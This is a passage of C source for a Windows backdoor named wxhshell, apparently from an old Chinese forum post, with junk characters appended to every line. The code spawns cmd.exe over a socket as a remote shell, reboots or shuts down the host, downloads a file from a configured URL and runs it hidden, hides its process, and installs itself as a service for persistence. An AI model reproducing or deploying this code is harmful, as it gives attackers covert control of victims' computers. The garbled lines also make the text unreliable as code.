  } Pv2nV!X6  
  else { 7>2j=Y_Kp  
S"KTL*9D  
    switch(cmd[0]) { ~\)&{ '  
  d'AviW>  
  // 帮助 V&,<,iNN  
  case '?': { 5cNzG4z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qh(-shZ4Du  
    break; {ck  
  } %B {D  
  // 安装 ]!tYrSM!  
  case 'i': { y9G57D  
    if(Install()) Cj4b]*Q,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YAC zznN  
    else )(ZPSg$/F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zy/tQGTr@  
    break; +{Jf]"KD  
    } @'<j!CqQ o  
  // 卸载 1[gjb((  
  case 'r': { P{i8  
    if(Uninstall()) <k-@R!K~JC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R 6yvpH  
    else 602eLV)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xZ @O"*{  
    break; zIYr0k*%  
    } VU+s7L0  
  // 显示 wxhshell 所在路径 6B;_uIq5  
  case 'p': { P=sK+}5`q  
    char svExeFile[MAX_PATH]; PM@s}(  
    strcpy(svExeFile,"\n\r"); VrGb;L'[  
      strcat(svExeFile,ExeFile); |7'yk__m  
        send(wsh,svExeFile,strlen(svExeFile),0); ]g-qWSKU  
    break; J|2Hqd  
    } U*R~w5W.[  
  // 重启 }rMpp[  
  case 'b': { G4exk5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,md7.z]U~  
    if(Boot(REBOOT)) q/2K=BOh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %}]4Nsde  
    else { i8[Y{a *  
    closesocket(wsh); -Ib+/'  
    ExitThread(0);  +SA<0l  
    } w6In{uO-Z  
    break; d$pf[DJQo  
    } `1d`9AS2g  
  // 关机 /qhm9~4e3  
  case 'd': { .Qi1I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zc,9Qfn  
    if(Boot(SHUTDOWN)) %qjyk=z+Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); seV;f^-hR  
    else { &CeF^   
    closesocket(wsh); :: 72~'tw  
    ExitThread(0); >yT@?!/Q>'  
    } `E0.PV  
    break; AGJ=de.  
    } 8.%a"sxr  
  // 获取shell cA*X$j6  
  case 's': { HxqV[|}0u  
    CmdShell(wsh); 7F9g:r/^  
    closesocket(wsh); i e)1h  
    ExitThread(0); i!}nGJGg  
    break; }Ka.bZS  
  } 2hA66ar{$  
  // 退出 +i_f.Ipp  
  case 'x': { / -qt}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KjfKo;T  
    CloseIt(wsh); H"RF[bX(  
    break; `:BQ&T%UQR  
    } L"du"-  
  // 离开 OTHd1PSOu  
  case 'q': { ^xNe Eb  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); A&lgiR*ObT  
    closesocket(wsh); ,N|R/Vk$+E  
    WSACleanup(); ;7`um  
    exit(1); rRG\:<a  
    break; K#C56k q&  
        } D*r Zaqy  
  } f}ij=Y9  
  } pB7Z;&9  
}}bi#G:R+  
  // 提示信息 GxBPEIim  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w@$o  
} *rFbehfH  
  } )%@WoBRj  
!#4HGjPI  
  return; kR~4O$riG  
} mF:s-+  
ABe^]HlH  
// shell模块句柄 !2M[  
int CmdShell(SOCKET sock) {ugKv?e ;  
{ *9{Wn7pck/  
STARTUPINFO si; %TTL^@1!b  
ZeroMemory(&si,sizeof(si)); {*Wwu f.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )I-?zyL  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oS|~\,p"  
PROCESS_INFORMATION ProcessInfo; [tK:y[nk  
char cmdline[]="cmd"; 6V6g{6W,/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u{nWjqrM*5  
  return 0; #\ S$$gP  
} Q;,3W+(  
70*iJ^|  
// 自身启动模式 U <$xp  
int StartFromService(void) nV xMo_  
{ |afK"N  
typedef struct _3G)S+ 7#  
{ ~+iJpW  
  DWORD ExitStatus; 3pjYY$'  
  DWORD PebBaseAddress; Jas|P}{=fT  
  DWORD AffinityMask; {)gd|JV*  
  DWORD BasePriority; l3#dfW{  
  ULONG UniqueProcessId; M9jo<+  
  ULONG InheritedFromUniqueProcessId; -/2$P  
}   PROCESS_BASIC_INFORMATION; Qg$Nj=Cw  
yy.:0:ema  
PROCNTQSIP NtQueryInformationProcess; U\ E{-7  
>A( C9_\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C2|2XL'l(C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Xg3[v3m|  
XaS_3d  
  HANDLE             hProcess; ^PR,TR.  
  PROCESS_BASIC_INFORMATION pbi; @ZPTf>J}  
k^\ &.63(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3udIe$.Q  
  if(NULL == hInst ) return 0; ?BvI/H5d  
j!o3g;j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "LIii1]k  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0THAI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o9d$ 4s@/  
;Hp'x_xQ  
  if (!NtQueryInformationProcess) return 0; *vE C,)  
TY[d%rMm  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0HuRFl  
  if(!hProcess) return 0; n:."ZBtY*  
zXU{p\;)\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3U.qN0]  
"t&k{\$\  
  CloseHandle(hProcess); 207oE O]  
i/Lq2n3 )  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {,2_K6#  
if(hProcess==NULL) return 0; EAXU{dRV  
LP6FSo~K  
HMODULE hMod; q/-j`'A_pb  
char procName[255]; "g1;TT:1~  
unsigned long cbNeeded; +F&]BZ  
+ENW=N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (KImqB$i.  
CvWEXY_P2  
  CloseHandle(hProcess); ;C3?Ic  
JJ=is}S|  
if(strstr(procName,"services")) return 1; // 以服务启动 "{"2h>o#D}  
ZboJszNb;  
  return 0; // 注册表启动 i*w-Q=  
} m$qC 8z]  
?JTyNg4<  
// 主模块 >d V@9  
int StartWxhshell(LPSTR lpCmdLine) Vzm+Ew _  
{ h`rjDd  
  SOCKET wsl; W&f Py%g  
BOOL val=TRUE; |5B9tjJ"  
  int port=0; at]Q4  
  struct sockaddr_in door; #$C]0]|  
gH)B` @  
  if(wscfg.ws_autoins) Install(); $uB(@Ft.  
 CyDf[C)=  
port=atoi(lpCmdLine); lfeWtzOf  
4EbiCSo  
if(port<=0) port=wscfg.ws_port; L;7mt 4H  
nKkTnTSa  
  WSADATA data; ZM, ^R?e  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; iB`]Z@ZC  
?yeC j1X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U)]natB  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A@AGu#W  
  door.sin_family = AF_INET; <X&:tZ #/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7lPk~0  
  door.sin_port = htons(port); F+S#m3X  
''Ec-b6Q-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e`1s[ ^B  
closesocket(wsl); ^O*hs%eO%  
return 1; !Qa7-  
} K -1~K  
\ySc uT  
  if(listen(wsl,2) == INVALID_SOCKET) {   NX_S  
closesocket(wsl); >*xzSd? \  
return 1; ;FflEL<7Y  
} t3JPxg]0k'  
  Wxhshell(wsl); (kOv  
  WSACleanup(); yS3s5C{C  
v 8a  
return 0; y'/9KrV T  
CoXL;\  
} L%Q *\d  
08jQq#  
// 以NT服务方式启动 1A.\Ao  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ZM`_P!G  
{ }"H900WE|  
DWORD   status = 0; ~kT{O!x}4  
  DWORD   specificError = 0xfffffff; gRI|rDC)B  
O G}&%NgH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; VSFl9/5?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %y+j~]^:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; --)[>6)I  
  serviceStatus.dwWin32ExitCode     = 0; 8}T3Fig,q  
  serviceStatus.dwServiceSpecificExitCode = 0; bkIA:2HX  
  serviceStatus.dwCheckPoint       = 0; /2cOZ1G;  
  serviceStatus.dwWaitHint       = 0; ) <~7<.0  
W78-'c  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !,uw./8@Ku  
  if (hServiceStatusHandle==0) return; `Db}q^mQ  
zZiVBUmE<  
status = GetLastError(); JdEb_c3S  
  if (status!=NO_ERROR) qrh7\`,.m/  
{ +t{FF!mL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x^BBK'  
    serviceStatus.dwCheckPoint       = 0; (@ sKE  
    serviceStatus.dwWaitHint       = 0; n\9*B##  
    serviceStatus.dwWin32ExitCode     = status; n(VMGCZPV  
    serviceStatus.dwServiceSpecificExitCode = specificError; !W^II>Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -bfd><bs  
    return; [' 1?'*  
  } *E_= 8OV  
f |5|n>*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R.;59s  
  serviceStatus.dwCheckPoint       = 0; >z$|O>j  
  serviceStatus.dwWaitHint       = 0; ]!w52kF7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3i~{x[Jc  
} r'?&VS-Cj  
,#Y".23G  
// 处理NT服务事件,比如:启动、停止 (6'Hzl^Kp  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gk%ye&:f  
{ !!%F$qUd\  
switch(fdwControl) H/f= 2b  
{ &pl;U\dc*a  
case SERVICE_CONTROL_STOP: UU`qI}Ys8F  
  serviceStatus.dwWin32ExitCode = 0; k{62UaL.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w2GY,,R  
  serviceStatus.dwCheckPoint   = 0; Ta$<#wb  
  serviceStatus.dwWaitHint     = 0;  I9 m  
  { q1Mk_(4oJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i%w'Cs0y  
  } + P.Ir  
  return; ;ecF~-oku  
case SERVICE_CONTROL_PAUSE: ElxbHQj6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8~&v\GDkF  
  break; Xw)+5+t"{  
case SERVICE_CONTROL_CONTINUE: s]OXB {M  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0@;E8^pa  
  break; m^KkS   
case SERVICE_CONTROL_INTERROGATE: ?zqXHv#x  
  break; Gr?gHAT  
}; P6rL;_~e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S)?B  I  
} m`aUz}Y>c  
p9J(,}  
// 标准应用程序主函数 l[Oxf|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X3vrD{uNU  
{ `h#JDcT;a  
 .~']gih#  
// 获取操作系统版本 2e &Zs%u  
OsIsNt=GetOsVer(); mi?Fy0\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); s!Vtw p9  
yMxS'j1  
  // 从命令行安装 i8F~$6C  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1'U-n{fD  
:+n7oOV  
  // 下载执行文件 5Jp>2d  
if(wscfg.ws_downexe) { M Cz3RZK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k9 E ?5  
  WinExec(wscfg.ws_filenam,SW_HIDE); ruVm8 BO  
} ZN^Q!v  
EBm\rM8  
if(!OsIsNt) { xgVt0=q  
// 如果时win9x,隐藏进程并且设置为注册表启动 i7_BnJJX{B  
HideProc(); N]~q@x;<)3  
StartWxhshell(lpCmdLine); fpUX @b  
} "]% L{a P  
else j*nCIxF  
  if(StartFromService()) ^z1WPI  
  // 以服务方式启动 APy a&TG  
  StartServiceCtrlDispatcher(DispatchTable); -xXM/3g1u  
else h2 y@xnn  
  // 普通方式启动 UHHe~L  
  StartWxhshell(lpCmdLine); JdnZY.{S0  
):\L#>:w  
return 0; IiL?@pIq  
}
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只看该作者 1 发表于: 2006-10-10
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